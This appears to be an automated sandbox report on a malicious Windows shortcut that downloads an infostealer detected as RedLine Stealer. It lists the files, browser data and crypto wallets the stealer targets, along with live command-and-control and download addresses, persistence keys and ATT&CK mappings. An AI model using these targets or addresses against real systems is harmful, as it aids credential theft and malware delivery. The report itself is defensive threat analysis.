Source: svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: powershell.exe, 00000000.00000002.385692015.00007FF8165D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Source: Yara match	File source: 2.2.svhost.exe.4222060.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.3292bc8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svhost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.3292bc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 4768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 5428, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.2.svhost.exe.4222060.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.3292bc8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svhost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.3292bc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.4222060.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svhost.exe.41dca40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 4768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svhost.exe PID: 5428, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	111 Process Injection	1 Masquerading	OS Credential Dumping	31 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scripting	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	4 PowerShell	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Scripting	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	3 Software Packing	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	74%	ReversingLabs	Shortcut.Downloader.Ploprolo
07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	59%	Virustotal		Browse
07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	100%	Avira	TR/LNK.PSH.Downloader.Gen
07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Roaming\svhost.exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\svhost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	41%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Roaming\svhost.exe	41%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.0.svhost.exe.d30000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen		Download File
7.2.svhost.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1234943		Download File

Domains

Source	Detection	Scanner	Label	Link
oiartzunirratia.eus	0%	Virustotal		Browse
api.ip.sb	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnect	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	URL Reputation	safe
http://james.newtonking.com/projects/json	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdates	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://tempuri.org/Endpoint/	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	URL Reputation	safe
http://tempuri.org/0	0%	URL Reputation	safe
194.26.192.248:7053	0%	Avira URL Cloud	safe
https://oiartzunirratia.eus	0%	Avira URL Cloud	safe
http://194.26.192.248:7053	0%	Avira URL Cloud	safe
http://oiartzunirratia.eus	0%	Avira URL Cloud	safe
http://194.26.192.248:7053/	0%	Avira URL Cloud	safe
194.26.192.248:7053	1%	Virustotal		Browse
http://194.26.192.248:70534	0%	Avira URL Cloud	safe
http://194.26.192.248:7053	1%	Virustotal		Browse
https://oiartzunirratia.eusx	0%	Avira URL Cloud	safe
https://oiartzunirratia.eus	0%	Virustotal		Browse
http://oiartzunirratia.eus	0%	Virustotal		Browse
https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe0y	0%	Avira URL Cloud	safe
https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
oiartzunirratia.eus	185.101.226.22	true	true	0%, Virustotal, Browse	unknown
api.ip.sb	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
194.26.192.248:7053	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://194.26.192.248:7053/	true	Avira URL Cloud: safe	unknown
https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://oiartzunirratia.eus	powershell.exe, 00000000.00000002.328014232.000001D9DD5D1000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.378116200.000001D9EC443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	false		high
http://194.26.192.248:7053	svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	svhost.exe, 00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.328014232.000001D9DDB4A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://oiartzunirratia.eus	powershell.exe, 00000000.00000002.328014232.000001D9DD5E7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	svhost.exe, 00000007.00000002.587473199.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/D	svhost.exe, 00000007.00000002.587473199.0000000003303000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	svhost.exe, 00000007.00000002.587473199.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	svhost.exe, 00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oiartzunirratia.eusx	powershell.exe, 00000000.00000002.328014232.000001D9DD5E2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false		high
http://194.26.192.248:70534	svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe0y	powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.378116200.000001D9EC443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	svhost.exe, 00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004760000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/0	svhost.exe, 00000007.00000002.587473199.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.nuget.org/packages/Newtonsoft.Json.Bson	svhost.exe, 00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004760000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.328014232.000001D9DC2A1000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.101.226.22	oiartzunirratia.eus	Spain		56732	HOSTINET_ASES	true
194.26.192.248	unknown	Netherlands		1213	HEANETIE	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	796782
Start date and time:	2023-02-02 08:08:11 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winLNK@18/15@3/2
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Failed
HCA Information:	Successful, ratio: 97% Number of executed functions: 202 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 172.67.75.172, 104.26.13.31
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net
Execution Graph export aborted for target powershell.exe, PID 4852 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:09:13	API Interceptor	119x Sleep call for process: powershell.exe modified
08:10:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Opgcxhsdw "C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe"
08:10:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Opgcxhsdw "C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe"

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HOSTINET_ASES	JUSTIFICANTE DE PAGO.exe	Get hash	malicious	Browse	185.101.224.94
	JUSTIFICANTE DE TRANSFERENCIA.exe	Get hash	malicious	Browse	185.101.224.94
	BBVA-Confirming Factura.rar.exe	Get hash	malicious	Browse	185.101.224.45
	CONFIRMACI#U00d3N DE PEDIDO N#U00ba 554418.pdf.exe	Get hash	malicious	Browse	185.101.224.45
	CONFIRMACI#U00d3N DE FACTURA.exe	Get hash	malicious	Browse	185.101.224.45
	JFNDtddouz.exe	Get hash	malicious	Browse	185.101.224.45
	BOOKING.COM.exe	Get hash	malicious	Browse	185.101.224.45
	SecuriteInfo.com.Gen.Variant.Nemesis.8928.31999.exe	Get hash	malicious	Browse	185.101.224.45
	SecuriteInfo.com.Gen.Variant.Nemesis.8923.31381.exe	Get hash	malicious	Browse	185.101.224.45
	SecuriteInfo.com.Gen.Variant.Nemesis.8928.4279.exe	Get hash	malicious	Browse	185.101.224.45
	Justificante de Transferencia.exe	Get hash	malicious	Browse	185.101.224.45
	JUSTIFICANTE 0099A435.exe	Get hash	malicious	Browse	185.101.224.45
	PEDIDO N#U00ba 66552022 de fecha 16-06-2022.exe	Get hash	malicious	Browse	185.101.224.45
	Banco BPI Comprovativo de Transfer#U00eancia.exe	Get hash	malicious	Browse	185.101.224.45
	JUSTIFICANTE DE PAGO.pdf.vbs	Get hash	malicious	Browse	185.101.224.45
	JUSTIFICANTE DE PAGO.txt.vbs	Get hash	malicious	Browse	185.101.224.45
	000224_G991DF982E4A4914AA972EC0657DE68F.exe	Get hash	malicious	Browse	185.101.224.45
	SecuriteInfo.com.Trojan.Win32.NSISInject.FC.MTB.3347.exe	Get hash	malicious	Browse	185.101.224.45
	SecuriteInfo.com.TrojanDownloader.Win32.GuLoader.05b6a4ab.7525.exe	Get hash	malicious	Browse	185.101.224.45
	Justificante de Transferencia.exe	Get hash	malicious	Browse	185.101.224.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	kHky1eaeGd.exe	Get hash	malicious	Browse	185.101.226.22
	M2Ovg6iJuX.exe	Get hash	malicious	Browse	185.101.226.22
	D723EB3C668394170ABC15F8174D3E930E529891CE10C.exe	Get hash	malicious	Browse	185.101.226.22
	info.exe	Get hash	malicious	Browse	185.101.226.22
	info.exe	Get hash	malicious	Browse	185.101.226.22
	DSKBWcBsBd.exe	Get hash	malicious	Browse	185.101.226.22
	xu1xJez5o4.exe	Get hash	malicious	Browse	185.101.226.22
	GJJNQraEhU.exe	Get hash	malicious	Browse	185.101.226.22
	oCGSY9cHl6.exe	Get hash	malicious	Browse	185.101.226.22
	XfnBic5Uwh.exe	Get hash	malicious	Browse	185.101.226.22
	Ki46CXjJRF.exe	Get hash	malicious	Browse	185.101.226.22
	x9WCfIg7VG.exe	Get hash	malicious	Browse	185.101.226.22
	fjrO2JiWDr.exe	Get hash	malicious	Browse	185.101.226.22
	bNFu1B6d6W.exe	Get hash	malicious	Browse	185.101.226.22
	Pcdwg6byq4.exe	Get hash	malicious	Browse	185.101.226.22
	HEUR-Backdoor.MSIL.Crysan.gen-67854367dadc638.exe	Get hash	malicious	Browse	185.101.226.22
	w6ZiMoKZoL.exe	Get hash	malicious	Browse	185.101.226.22
	KRR6KrtP82.exe	Get hash	malicious	Browse	185.101.226.22
	w3AaP904uI.exe	Get hash	malicious	Browse	185.101.226.22
	HEUR-Backdoor.MSIL.Crysan.gen-4b7c7ecab6728bb.exe	Get hash	malicious	Browse	185.101.226.22

Process:	C:\Users\user\AppData\Roaming\svhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.3436815157474165
Encrypted:	false
SSDEEP:	24:ML9E4Ks2EAE4Kzr7RKDE4KhK3VZ9pKhyE4KdE4KBLWE4Ks:MxHKXEAHKzvRYHKhQnoyHKdHKBqHKs
MD5:	20799406D8EAB97C5485A916A278ED0D
SHA1:	8547571BD0A17ED48FBECDE6D5E4749A66933D53
SHA-256:	BDDBB29FA099BDEB1C409FE844BDA2820D0550E0C97F7A64E01A0EAE4DBDF067
SHA-512:	CA887D0283B3B65BDFA91C90FAAD4C485B3861EEE54C1E6C3A7563DA77DD0D59AC20207259084E2A85E8FC25A48EB805E86904DA60B4C165B03B4A7D758C7506
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"System.Numerics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..2,"System.Data, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9432
Entropy (8bit):	4.924930598646688
Encrypted:	false
SSDEEP:	192:Gxoe5IpObxoe5lib4LVsm5emdzgkjDt4iWN3yBGHc9smgdcU6CkdcU6Cw9smqpOC:Xwib4Lokjh4iUxm44Qib4w
MD5:	38AABE3B9AA93BFAB8A73614371C91B3
SHA1:	FA8DFF5FA9309878D5B8AAE4789569842F004C18
SHA-256:	F2239C11FA85634E700A10AC31606A9E80D88129B4155E5A1D5068655E6CC0EE
SHA-512:	47DA224BD7DF769E9BD73FF9F1022EF3A7BBC70AD9348EF5F68CACC38553B2E1AEC00CBB15342EA940A2BB93FCAEF89C259B54FA6009CFD6DBE64EA66CDE9DA9
Malicious:	false
